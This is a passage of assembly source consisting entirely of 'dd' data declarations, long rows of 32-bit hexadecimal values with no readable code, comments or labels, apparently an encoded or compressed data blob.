0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh dd 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h dd 52250194h, 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh dd 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h dd 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h dd 0BA727Eh, 27841D5h dd 0C327116Ch, 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh dd 227C3966h, 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h dd 676F881h, 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h dd 1B3BC13h, 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h dd 0C8099412h, 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh dd 9160C0h, 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh, 34B264ABh dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h dd 565B5A02h, 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh dd 500EB3Bh, 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h dd 0EE063Ch, 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h dd 8F200DBh, 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h dd 8BECF4h, 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h dd 8C5B015Fh, 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h, 91DC45C9h dd 804D073Bh, 8A032D2h, 7C701094h, 0E4A82C5Ch, 85E80085h dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah, 22F86Ch dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh dd 542DF450h dd 7F5ABAF0h, 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh dd 0E1B510h, 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh dd 7AC40E11h, 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh dd 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h dd 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h dd 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h, 67D38600h dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h dd 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h dd 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh dd 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h dd 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h dd 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah dd 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h dd 4301200h, 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h dd 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h, 2E03117h dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h dd 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h dd 7102C7Fh, 6032C824h dd 68C0DE09h, 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh dd 15E2E100h, 2CF0CC2h, 4409F806h, 0D7C0086Ch, 313F744Ch dd 32D08303h, 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h dd 80EF1B0h, 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h dd 3E07A01h, 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h dd 0C5812Ah, 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h dd 342200A6h, 46A2F82h, 8800A495h, 4178C646h, 91085B8h dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h dd 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h dd 84C37210h, 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h, 6CC00123h dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh dd 3FE03B18h, 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh dd 311E95h, 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh dd 0EA9AAC55h, 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h dd 0A8F61Eh, 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h dd 710D638h, 8478C337h, 43126CFCh, 7C00CF47h, 0D50D8708h dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh dd 2341B6Ah, 63E90205h, 0BB198C6Eh, 44B0D5C0h, 0F8010803h dd 0B0FCEFA3h, 1C108FCCh, 